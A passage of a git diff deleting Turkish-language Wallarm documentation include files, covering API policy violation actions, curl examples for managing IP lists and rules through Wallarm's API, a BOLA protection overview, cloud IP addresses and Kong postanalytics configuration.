              - -Şunları göz önünde bulundurun: - -* API uç noktalarınızın risk düzeyi [risk skoru][apid-risk-score] ile belirtilir -* API’nizdeki [değişikliklere][apid-track-changes] dikkat edin (son 7 gün için gösterilir) -* [Yetkisiz API][apid-rogue] ciddi bir risk faktörüdür - gerçek trafikle karşılaştırmak için spesifikasyonunuzu yükleyin \ No newline at end of file diff --git a/include-tr/api-policies-enforcement/api-policies-violations.md b/include-tr/api-policies-enforcement/api-policies-violations.md deleted file mode 100644 index c8e143dee3..0000000000 --- a/include-tr/api-policies-enforcement/api-policies-violations.md +++ /dev/null @@ -1,22 +0,0 @@ -* **Tanımlanmamış bir uç noktaya istek** - bir istek, spesifikasyonunuzda yer almayan bir uç noktayı hedefler -* **Tanımlanmamış parametreye sahip uç noktaya istek** - bir istek, spesifikasyonunuzda bu uç nokta için sunulmamış bir parametre içerir -* **Gerekli parametre olmadan uç noktaya istek** - bir istek, spesifikasyonunuzda gerekli olarak işaretlenen parametreyi veya değerini içermez -* **Geçersiz parametre değeriyle uç noktaya istek** - bir istek parametresinin değeri, spesifikasyonunuzda tanımlanan tür/biçim ile uyumlu değildir -* **Kimlik doğrulama yöntemi olmadan uç noktaya istek** - bir istek, kimlik doğrulama yöntemi hakkında bilgi içermez -* **Geçersiz JSON ile uç noktaya istek** - bir istek geçersiz bir JSON içerir - -Tutarsızlık tespit edilmesi durumunda sistem aşağıdaki eylemleri gerçekleştirebilir: - -* **Block** - bir isteği engeller ve [**Attacks**](../user-guides/events/check-attack.md) bölümüne blocked olarak ekler - - !!! info "Filtreleme modu" - Wallarm düğümü, hedef uç nokta için engelleme [filtreleme modu][waf-mode-instr] etkinleştirildiğinde istekleri engelleyecektir; aksi halde **Monitor** eylemi uygulanacaktır. - -* **Monitor** - bir isteği hatalı olarak işaretler, ancak engellemez; **Attacks** bölümüne monitored olarak ekler -* **Not tracked** - hiçbir işlem yapmaz - -Politikaları ayarlamak için birden fazla spesifikasyon kullanılabilir. Bir istek iki farklı spesifikasyon kapsamına girerse (aynı politika ve farklı spesifikasyonlarda farklı eylemler), aşağıdakiler gerçekleşir: - -* **Block** ve **Block** - istek engellenecek ve **Attacks** bölümüne, engellemenin nedenini ve isteğin iki farklı spesifikasyonu ihlal ettiğini belirten `Blocked` durumuyla iki olay eklenecektir. -* **Monitor** ve **Block** - istek engellenecek ve **Attacks** bölümüne engellemenin nedenini açıklayan `Blocked` durumuyla bir olay eklenecektir. -* **Monitor** ve **Monitor** - istek engellenmeyecek ve **Attacks** bölümüne, belirli politikanın ihlal edildiğini belirten `Monitoring` durumuyla iki olay eklenecektir. \ No newline at end of file diff --git a/include-tr/api-request-examples/add-ips-to-lists-from-file.md b/include-tr/api-request-examples/add-ips-to-lists-from-file.md deleted file mode 100644 index 27b9c82c23..0000000000 --- a/include-tr/api-request-examples/add-ips-to-lists-from-file.md +++ /dev/null @@ -1,96 +0,0 @@ -=== "ABD Bulutu" - ```bash - #!/bin/bash - - UUID="" - SECRET="" - CLIENT="" - LIST="" - PATH_TO_CSV_FILE="" # IP'ler veya alt ağları içeren CSV dosyasının yolu - APPLICATIONS="" - REMOVE_DATE="TIMESTAMP_REMOVE_DATE" - REASON='' - API="us1.api.wallarm.com" - - - index=0 - while read line; do - subnets[$index]="$line" - index=$(($index+1)) - done < "$PATH_TO_CSV_FILE" - - - for i in ${subnets[@]}; do - currentDate=`date -u +%s` - time=$REMOVE_DATE - remove_date=$(($currentDate+$time)) - - curl -X POST \ - https://$API/v4/ip_rules \ - -H "Content-Type: application/json" \ - -H "X-WallarmApi-Token: " \ - -d '{ - "clientid": '$CLIENT', - "ip_rule": { - "list": "'$LIST'", - "rule_type": "ip_range", - "subnet": "'$i'", - "expired_at": '$remove_date', - "pools": [ - '$APPLICATIONS' - ], - "reason": "'"$REASON"'" - }, - "force": false - }' - - done - ``` -=== "AB Bulutu" - ```bash - #!/bin/bash - - UUID="" - SECRET="" - CLIENT="" - LIST="" - PATH_TO_CSV_FILE="" # IP'ler veya alt ağları içeren CSV dosyasının yolu - APPLICATIONS="" - REMOVE_DATE="TIMESTAMP_REMOVE_DATE" - REASON='' - API="api.wallarm.com" - - - index=0 - while read line; do - subnets[$index]="$line" - index=$(($index+1)) - done < "$PATH_TO_CSV_FILE" - - - for i in ${subnets[@]}; do - currentDate=`date -u +%s` - time=$REMOVE_DATE - remove_date=$(($currentDate+$time)) - - curl -X POST \ - https://$API/v4/ip_rules \ - -H "Content-Type: application/json" \ - -H "X-WallarmApi-Token: " \ - -d '{ - "clientid": '$CLIENT', - "ip_rule": { - "list": "'$LIST'", - "rule_type": "ip_range", - "subnet": "'$i'", - "expired_at": '$remove_date', - "pools": [ - '$APPLICATIONS' - ], - "reason": "'"$REASON"'" - }, - "force": false - }' - - done - ``` \ No newline at end of file diff --git a/include-tr/api-request-examples/add-some-countries-to-lists.md b/include-tr/api-request-examples/add-some-countries-to-lists.md deleted file mode 100644 index add3051271..0000000000 --- a/include-tr/api-request-examples/add-some-countries-to-lists.md +++ /dev/null @@ -1,16 +0,0 @@ -=== "ABD Cloud" - ```bash - curl 'https://us1.api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"ip_rule":{"list":"","rule_type":"country","source_values":[],"pools":[],"expired_at":"","reason":""},"force":false}' - ``` -=== "AB Cloud" - ```bash - curl 'https://api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"ip_rule":{"list":"","rule_type":"country","source_values":[],"pools":[],"expired_at":"","reason":""},"force":false}' - ``` \ No newline at end of file diff --git a/include-tr/api-request-examples/add-some-ips-to-lists.md b/include-tr/api-request-examples/add-some-ips-to-lists.md deleted file mode 100644 index 5b7821305b..0000000000 --- a/include-tr/api-request-examples/add-some-ips-to-lists.md +++ /dev/null @@ -1,18 +0,0 @@ -Belirli IP adreslerini veya alt ağları IP listesine eklemek için, her IP/alt ağ için aşağıdaki isteği gönderin: - -=== "US Cloud" - ```bash - curl 'https://us1.api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"force":false,"ip_rule":{"list":"","reason":"","pools":[],"expired_at":,"rule_type":"ip_range","subnet":""}}' - ``` -=== "EU Cloud" - ```bash - curl 'https://api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"force":false,"ip_rule":{"list":"","reason":"","pools":[],"expired_at":,"rule_type":"ip_range","subnet":""}}' - ``` \ No newline at end of file diff --git a/include-tr/api-request-examples/add-some-proxies-to-lists.md b/include-tr/api-request-examples/add-some-proxies-to-lists.md deleted file mode 100644 index 4413e1ec5b..0000000000 --- a/include-tr/api-request-examples/add-some-proxies-to-lists.md +++ /dev/null @@ -1,16 +0,0 @@ -=== "ABD Bulutu" - ```bash - curl 'https://us1.api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"ip_rule":{"list":"","rule_type":"proxy_type","source_values":[],"pools":[],"expired_at":"","reason":""},"force":false}' - ``` -=== "AB Bulutu" - ```bash - curl 'https://api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"ip_rule":{"list":"","rule_type":"proxy_type","source_values":[],"pools":[],"expired_at":"","reason":""},"force":false}' - ``` \ No newline at end of file diff --git a/include-tr/api-request-examples/create-filtration-mode-rule-for-app.md b/include-tr/api-request-examples/create-filtration-mode-rule-for-app.md deleted file mode 100644 index 20571d1505..0000000000 --- a/include-tr/api-request-examples/create-filtration-mode-rule-for-app.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "ABD Bulutu" - ```bash - curl 'https://us1.api.wallarm.com/v1/objects/hint/create' -H 'X-WallarmApi-Token: ' -H "accept: application/json" -H "Content-Type: application/json" --data-raw '{"clientid":,"type":"wallarm_mode","mode":"monitoring","validated":false,"action":[{"point":["instance"],"type":"equal","value":"3"}]}' - ``` -=== "AB Bulutu" - ```bash - curl 'https://api.wallarm.com/v1/objects/hint/create' -H 'X-WallarmApi-Token: ' -H "accept: application/json" -H "Content-Type: application/json" --data-raw '{"clientid":,"type":"wallarm_mode","mode":"monitoring","validated":false,"action":[{"point":["instance"],"type":"equal","value":"3"}]}' - ``` \ No newline at end of file diff --git a/include-tr/api-request-examples/create-rule-en.md b/include-tr/api-request-examples/create-rule-en.md deleted file mode 100644 index 300e5d017f..0000000000 --- a/include-tr/api-request-examples/create-rule-en.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "ABD bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"clientid\": YOUR_CLIENT_ID, \"type\": \"vpatch\", \"action\": [ {\"type\":\"equal\",\"value\":\"my\",\"point\":[\"path\",0]}, {\"type\":\"equal\",\"value\":\"api\",\"point\":[\"path\",1]}], \"validated\": false, \"point\": [ [ \"header\", \"HOST\" ] ], \"attack_type\": \"any\"}" - ``` -=== "AB bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"clientid\": YOUR_CLIENT_ID, \"type\": \"vpatch\", \"action\": [ {\"type\":\"equal\",\"value\":\"my\",\"point\":[\"path\",0]}, {\"type\":\"equal\",\"value\":\"api\",\"point\":[\"path\",1]}], \"validated\": false, \"point\": [ [ \"header\", \"HOST\" ] ], \"attack_type\": \"any\"}" - ``` \ No newline at end of file diff --git a/include-tr/api-request-examples/create-rule-for-app-id.md b/include-tr/api-request-examples/create-rule-for-app-id.md deleted file mode 100644 index a03230e2b2..0000000000 --- a/include-tr/api-request-examples/create-rule-for-app-id.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "ABD bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"type\":\"vpatch\",\"action\":[{\"point\":[\"instance\"],\"type\":\"equal\",\"value\":\"-1\"},{\"point\":[\"path\",0],\"type\":\"equal\",\"value\":\"my\"},{\"point\":[\"path\",1],\"type\":\"equal\",\"value\":\"api\"}],\"clientid\":YOUR_CLIENT_ID,\"validated\":false,\"point\":[[\"header\",\"HOST\"]],\"attack_type\":\"any\"}" - ``` -=== "AB bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"type\":\"vpatch\",\"action\":[{\"point\":[\"instance\"],\"type\":\"equal\",\"value\":\"-1\"},{\"point\":[\"path\",0],\"type\":\"equal\",\"value\":\"my\"},{\"point\":[\"path\",1],\"type\":\"equal\",\"value\":\"api\"}],\"clientid\":YOUR_CLIENT_ID,\"validated\":false,\"point\":[[\"header\",\"HOST\"]],\"attack_type\":\"any\"}" - ``` \ No newline at end of file diff --git a/include-tr/api-request-examples/create-rule-scanner.md b/include-tr/api-request-examples/create-rule-scanner.md deleted file mode 100644 index ee643f4662..0000000000 --- a/include-tr/api-request-examples/create-rule-scanner.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "ABD bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"type\":\"regex\",\"action\":[{\"point\":[\"header\",\"HOST\"],\"type\":\"equal\",\"value\":\"MY.DOMAIN.NAME\"}],\"clientid\":YOUR_CLIENT_ID,\"validated\":false,\"comment\":\"comment\",\"point\":[[\"header\",\"X-FORWARDED-FOR\"]],\"attack_type\":\"scanner\",\"regex\":\"^\(~\(44[.]33[.]22[.]11\)\)$\"}" - ``` -=== "AB bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"type\":\"regex\",\"action\":[{\"point\":[\"header\",\"HOST\"],\"type\":\"equal\",\"value\":\"MY.DOMAIN.NAME\"}],\"clientid\":YOUR_CLIENT_ID,\"validated\":false,\"comment\":\"comment\",\"point\":[[\"header\",\"X-FORWARDED-FOR\"]],\"attack_type\":\"scanner\",\"regex\":\"^\(~\(44[.]33[.]22[.]11\)\)$\"}" - ``` \ No newline at end of file diff --git a/include-tr/api-request-examples/delete-object-from-ip-list.md b/include-tr/api-request-examples/delete-object-from-ip-list.md deleted file mode 100644 index a90b1dc046..0000000000 --- a/include-tr/api-request-examples/delete-object-from-ip-list.md +++ /dev/null @@ -1,18 +0,0 @@ -=== "ABD Bulutu" - ```bash - curl 'https://us1.api.wallarm.com/v4/ip_rules' \ - -X 'DELETE' \ - -H 'X-WallarmApi-Token: ' \ - -H 'accept: application/json' \ - -H 'content-type: application/json' \ - --data-raw '{"filter":{"clientid":,"id":[]}}' - ``` -=== "AB Bulutu" - ```bash - curl 'https://api.wallarm.com/v4/ip_rules' \ - -X 'DELETE' \ - -H 'X-WallarmApi-Token: ' \ - -H 'accept: application/json' \ - -H 'content-type: application/json' \ - --data-raw '{"filter":{"clientid":,"id":[]}}' - ``` \ No newline at end of file diff --git a/include-tr/api-request-examples/delete-rule-by-id.md b/include-tr/api-request-examples/delete-rule-by-id.md deleted file mode 100644 index 376fffedf7..0000000000 --- a/include-tr/api-request-examples/delete-rule-by-id.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "ABD bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint/delete" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"filter\":{\"clientid\":[YOUR_CLIENT_ID],\"id\": YOUR_RULE_ID}}" - ``` -=== "AB bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/hint/delete" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"filter\":{\"clientid\":[YOUR_CLIENT_ID],\"id\": YOUR_RULE_ID}}" - ``` \ No newline at end of file diff --git a/include-tr/api-request-examples/get-all-configured-rules.md b/include-tr/api-request-examples/get-all-configured-rules.md deleted file mode 100644 index b5c65eaec1..0000000000 --- a/include-tr/api-request-examples/get-all-configured-rules.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "ABD bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"filter\":{\"clientid\": [YOUR_CLIENT_ID]},\"order_by\": \"updated_at\",\"order_desc\": true,\"limit\": 1000,\"offset\": 0}" - ``` -=== "AB bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/hint" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"filter\":{\"clientid\": [YOUR_CLIENT_ID]},\"order_by\": \"updated_at\",\"order_desc\": true,\"limit\": 1000,\"offset\": 0}" - ``` \ No newline at end of file diff --git a/include-tr/api-request-examples/get-attacks-en.md b/include-tr/api-request-examples/get-attacks-en.md deleted file mode 100644 index 665fec1a38..0000000000 --- a/include-tr/api-request-examples/get-attacks-en.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "ABD bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/attack" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"filter\": { \"clientid\": [YOUR_CLIENT_ID], \"time\": [[TIMESTAMP, null]] }, \"offset\": 0, \"limit\": 50, \"order_by\": \"last_time\", \"order_desc\": true}" - ``` -=== "AB bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/attack" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"filter\": { \"clientid\": [YOUR_CLIENT_ID], \"time\": [[TIMESTAMP, null]] }, \"offset\": 0, \"limit\": 50, \"order_by\": \"last_time\", \"order_desc\": true}" - ``` \ No newline at end of file diff --git a/include-tr/api-request-examples/get-conditions.md b/include-tr/api-request-examples/get-conditions.md deleted file mode 100644 index 5a10681d5d..0000000000 --- a/include-tr/api-request-examples/get-conditions.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "ABD bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/action" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"filter\": { \"clientid\": [YOUR_CLIENT_ID] }, \"offset\": 0, \"limit\": 1000}" - ``` -=== "AB bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/action" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"filter\": { \"clientid\": [YOUR_CLIENT_ID] }, \"offset\": 0, \"limit\": 1000}" - ``` \ No newline at end of file diff --git a/include-tr/api-request-examples/get-incidents-en.md b/include-tr/api-request-examples/get-incidents-en.md deleted file mode 100644 index 5f3b5dd669..0000000000 --- a/include-tr/api-request-examples/get-incidents-en.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "ABD bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/attack" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"filter\": { \"clientid\": [YOUR_CLIENT_ID], \"\!vulnid\": null, \"time\": [[TIMESTAMP, null]] }, \"offset\": 0, \"limit\": 50, \"order_by\": \"last_time\", \"order_desc\": true}" - ``` -=== "AB bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/attack" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"filter\": { \"clientid\": [YOUR_CLIENT_ID], \"\!vulnid\": null, \"time\": [[TIMESTAMP, null]] }, \"offset\": 0, \"limit\": 50, \"order_by\": \"last_time\", \"order_desc\": true}" - ``` \ No newline at end of file diff --git a/include-tr/api-request-examples/get-ip-list-contents.md b/include-tr/api-request-examples/get-ip-list-contents.md deleted file mode 100644 index 8d3a067165..0000000000 --- a/include-tr/api-request-examples/get-ip-list-contents.md +++ /dev/null @@ -1,10 +0,0 @@ -=== "ABD Bulutu" - ```bash - curl 'https://us1.api.wallarm.com/v4/ip_rules?filter%5Bclientid%5D=&filter%5Blist%5D=&offset=0&limit=50' \ - -H 'X-WallarmApi-Token: ' - ``` -=== "AB Bulutu" - ```bash - curl 'https://api.wallarm.com/v4/ip_rules?filter%5Bclientid%5D=&filter%5Blist%5D=&offset=0&limit=50' \ - -H 'X-WallarmApi-Token: ' - ``` \ No newline at end of file diff --git a/include-tr/api-request-examples/get-rules-by-condition-id.md b/include-tr/api-request-examples/get-rules-by-condition-id.md deleted file mode 100644 index dc3164fce1..0000000000 --- a/include-tr/api-request-examples/get-rules-by-condition-id.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "ABD bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"filter\":{\"clientid\": [YOUR_CLIENT_ID],\"actionid\": YOUR_CONDITION_ID},\"limit\": 1000,\"offset\": 0}" - ``` -=== "AB bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/hint" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"filter\":{\"clientid\": [YOUR_CLIENT_ID],\"actionid\": YOUR_CONDITION_ID},\"limit\": 1000,\"offset\": 0}" - ``` \ No newline at end of file diff --git a/include-tr/api-request-examples/get-vulnerabilities.md b/include-tr/api-request-examples/get-vulnerabilities.md deleted file mode 100644 index 292fc0c111..0000000000 --- a/include-tr/api-request-examples/get-vulnerabilities.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "ABD bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/vuln" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"limit\":50, \"offset\":0, \"filter\":{\"clientid\":[YOUR_CLIENT_ID], \"testrun_id\":null, \"validated\":true, \"time\":[[TIMESTAMP, null]]}}" - ``` -=== "AB bulutu" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/vuln" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"limit\":50, \"offset\":0, \"filter\":{\"clientid\":[YOUR_CLIENT_ID], \"testrun_id\":null, \"validated\":true, \"time\":[[TIMESTAMP, null]]}}" - ``` \ No newline at end of file diff --git a/include-tr/api-request-examples/ip-list-request-params.md b/include-tr/api-request-examples/ip-list-request-params.md deleted file mode 100644 index a9d20b56ec..0000000000 --- a/include-tr/api-request-examples/ip-list-request-params.md +++ /dev/null @@ -1,12 +0,0 @@ -| Parametre | Açıklama | -| --------- | ----------- | -| `X-WallarmApi-Token` | [Wallarm API'ye erişim][access-wallarm-api-docs] için token, Wallarm Console → **Settings** → **API tokens** bölümünden kopyalayın. | -| `clientid` | IP listesini doldurmak/okumak için Wallarm Cloud'daki bir hesabın kimliği. | -| `ip_rule.list` | Nesnelerin ekleneceği IP liste türü; şunlar olabilir: `black` (engelleme listesi), `white` (izin listesi), `gray` (gri liste). | -| `ip_rule.rule_type` | Listeye eklenecek nesnelerin türü:
              • `ip_range` belirli IP'ler veya alt ağlar ekleniyorsa
              • `country` ülkeler veya bölgeler ekleniyorsa
              • `proxy_type` proxy servisleri ekleniyorsa (`VPN`, `SES`, `PUB`, `WEB`, `TOR`)
              • `datacenter` diğer kaynak türleri için (`rackspace`, `tencent`, `plusserver`, `ovh`, `oracle`, `linode`, `ibm`, `huawei`, `hetzner`, `gce`, `azure`, `aws`, `alibaba`)
              | -| `ip_rule.subnet`
              (`rule_type:"ip_range"`) | Listeye eklenecek IP veya alt ağ, ör. `"1.1.1.1"`. | -| `ip_rule.source_values`
              (diğer `rule_type` değerleri için) | Seçeneklerden biri:
              • Eğer `rule_type:"country"` ise - [ISO-3166 biçiminde](https://en.wikipedia.org/wiki/List_of_ISO_3166_country_codes) ülke dizisi, ör. `["AX","AL"]`.
              • Eğer `rule_type:"proxy_type"` ise - proxy servisleri dizisi, ör. `["VPN","PUB"]`.
              • Eğer `rule_type:"datacenter"` ise - diğer kaynak türleri dizisi, ör. `["rackspace","huawei"]`.
              | -| `ip_rule.pools` | IP'ler için erişime izin vermek ya da kısıtlamak amacıyla [uygulama kimlikleri][application-docs] dizisi, ör. 3 ve 4 numaralı uygulamalar için `[3,4]` veya tüm uygulamalar için `[0]`. | -| `ip_rule.expired_at` | IP'lerin listeden kaldırılacağı [Unix Timestamp](https://www.unixtimestamp.com/) tarihi. Maksimum değer süresizdir (`33223139044`). | -| `reason` | IP’ler için erişime izin verme veya kısıtlama gerekçesi. | -| `force` | `true` ise ve istekte belirtilen bazı nesneler IP listesinde zaten varsa, betik bunların üzerine yazar. | \ No newline at end of file diff --git a/include-tr/bola-intro.md b/include-tr/bola-intro.md deleted file mode 100644 index 8fbfc2e124..0000000000 --- a/include-tr/bola-intro.md +++ /dev/null @@ -1,22 +0,0 @@ -## Genel Bakış - -[Bozuk Nesne Düzeyi Yetkilendirme (BOLA)](../../attacks-vulns-list.md#broken-object-level-authorization-bola) gibi davranışsal saldırılar, aynı adlı zafiyeti sömürür. Bu zafiyet, bir saldırganın bir nesneye tanımlayıcısı aracılığıyla bir API isteğiyle erişmesine ve yetkilendirme mekanizmasını atlayarak verilerini okumasına veya değiştirmesine olanak tanır. Bu makale, uygulamalarınızı BOLA saldırılarına karşı korumanıza yardımcı olur. - -Varsayılan olarak, Wallarm yalnızca BOLA türündeki (IDOR olarak da bilinen) zafiyetleri otomatik olarak keşfeder, ancak bunların istismar girişimlerini tespit etmez. - -!!! warning "BOLA koruma kısıtlamaları" - Yalnızca Wallarm node 4.2 ve üzeri, BOLA saldırı tespitini destekler. - - Wallarm node 4.2 ve üzeri, BOLA saldırısı belirtileri için yalnızca aşağıdaki istekleri analiz eder: - - * HTTP protokolü üzerinden gönderilen istekler. - * Diğer saldırı türlerinin belirtilerini içermeyen istekler, örn. aşağıdaki durumlarda istekler BOLA saldırısı olarak değerlendirilmez: - - * Bu istekler [girdi doğrulama saldırılarının](../../attacks-vulns-list.md#attack-types) belirtilerini içeriyorsa. - * Bu istekler, [**Create regexp-based attack indicator** kuralında](../../user-guides/rules/regex-rule.md#creating-and-applying-rule) belirtilen düzenli ifadeyle eşleşiyorsa. - -## Gereksinimler - -Kaynakları BOLA saldırılarından korumak için ortamınızın aşağıdaki gereksinimleri karşıladığından emin olun: - -* Filtreleme düğümü bir proxy sunucusunun veya yük dengeleyicinin arkasında konuşlandırılmışsa, gerçek istemcilerin IP adreslerinin görüntülenmesini [yapılandırın](../using-proxy-or-balancer-en.md). \ No newline at end of file diff --git a/include-tr/bot-attack-full-context.md b/include-tr/bot-attack-full-context.md deleted file mode 100644 index c1f4007edc..0000000000 --- a/include-tr/bot-attack-full-context.md +++ /dev/null @@ -1,5 +0,0 @@ -Kötü amaçlı bot etkinliği Wallarm'ın [API Abuse Prevention][link-api-abuse-prevention] özelliği tarafından tespit edilip [**Attacks**][link-attacks] bölümünde görüntülendiğinde, bu saldırının isteklerinin tam bağlamını öğrenebilirsiniz: hangi kullanıcı oturumuna ait olduklarını ve bu oturumdaki isteklerin tam sıralamasının ne olduğunu. Bu, aktörün tüm etkinliğini inceleyerek, bu aktörü kötü amaçlı bot olarak işaretleme kararının doğru olup olmadığını doğrulamanıza olanak tanır. - -Bu analizi gerçekleştirmek için, Wallarm Console → **Attacks** içinden bot saldırısı ayrıntılarına erişin, ardından **Explore in API Sessions**’a tıklayın. Wallarm, filtre uygulanmış [**API Session**][link-sessions] bölümünü açacaktır: bu botun etkinlikleriyle ilişkili oturum(lar) görüntülenecektir. - -![!API Sessions bölümü - izlenen oturumlar][img-api-sessions-api-abuse] \ No newline at end of file diff --git a/include-tr/check-setup-installation-en.md b/include-tr/check-setup-installation-en.md deleted file mode 100644 index ac9c1c9048..0000000000 --- a/include-tr/check-setup-installation-en.md +++ /dev/null @@ -1 +0,0 @@ -Filtreleme düğümünün çalıştığını ve trafiği filtrelediğini kontrol edin. Bkz. [Filtreleme düğümünün çalışmasını kontrol etme](uat-checklist-en.md). \ No newline at end of file diff --git a/include-tr/cloud-ip-by-request.md b/include-tr/cloud-ip-by-request.md deleted file mode 100644 index 5b74a986cc..0000000000 --- a/include-tr/cloud-ip-by-request.md +++ /dev/null @@ -1,32 +0,0 @@ -!!! info "Wallarm Cloud IP adresleri" - Wallarm Cloud'un sisteminize erişmesini sağlamak için, genel IP adreslerinin bir listesine ihtiyaç duyabilirsiniz: - - === "ABD Cloud" - ``` - 35.235.66.155 - 34.102.90.100 - 34.94.156.115 - 35.235.115.105 - 34.94.85.217 - 34.94.51.234 - 34.102.59.122 - 34.94.238.72 - 35.235.100.79 - 34.102.45.38 - 34.94.241.21 - 34.102.90.100 - 34.94.203.193 - 34.94.238.221 - 34.94.9.23 - 34.94.118.150 - 34.94.193.9 - ``` - === "AB Cloud" - ``` - 34.141.230.156 - 34.91.138.113 - 34.90.114.134 - 35.204.127.78 - 34.90.24.155 - 34.7.147.149 - ``` \ No newline at end of file diff --git a/include-tr/configure-postanalytics-address-kong-en.md b/include-tr/configure-postanalytics-address-kong-en.md deleted file mode 100644 index 7897a60119..0000000000 --- a/include-tr/configure-postanalytics-address-kong-en.md +++ /dev/null @@ -1,22 +0,0 @@ -postanalytics'in sunucu adresini `/etc/kong/nginx-wallarm.template` dosyasına ekleyin: - -```bash -upstream wallarm_tarantool { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; -} - -# atlandı - -wallarm_tarantool_upstream wallarm_tarantool; -``` - -!!! warning "Gerekli koşullar" - `max_conns` ve `keepalive` parametreleri için aşağıdaki koşulların sağlanması gerekir: - - * `keepalive` parametresinin değeri, Tarantool sunucularının sayısından düşük olmamalıdır. - * Aşırı bağlantı oluşturulmasını önlemek için her bir upstream Tarantool sunucusu için `max_conns` parametresinin değeri belirtilmelidir. - - `# wallarm_tarantool_upstream wallarm_tarantool;` satırı varsayılan olarak yorum satırı hâlindedir - lütfen `#` işaretini silin. \ No newline at end of file diff --git a/include-tr/connect-cloud-en.md b/include-tr/connect-cloud-en.md deleted file mode 100644 index 0c47a84b67..0000000000 --- a/include-tr/connect-cloud-en.md +++ /dev/null @@ -1,49 +0,0 @@ -[img-wl-console-users]: ../images/check-users.png - -[link-wl-console-us]: https://us1.my.wallarm.com/ -[link-wl-console-eu]: https://my.wallarm.com/ -[link-wl-console-users-us]: https://us1.my.wallarm.com/settings/users -[link-wl-console-users-eu]: https://my.wallarm.com/settings/users - - -!!! info "API Erişimi" - Filtreleme düğümünüz için API seçimi, 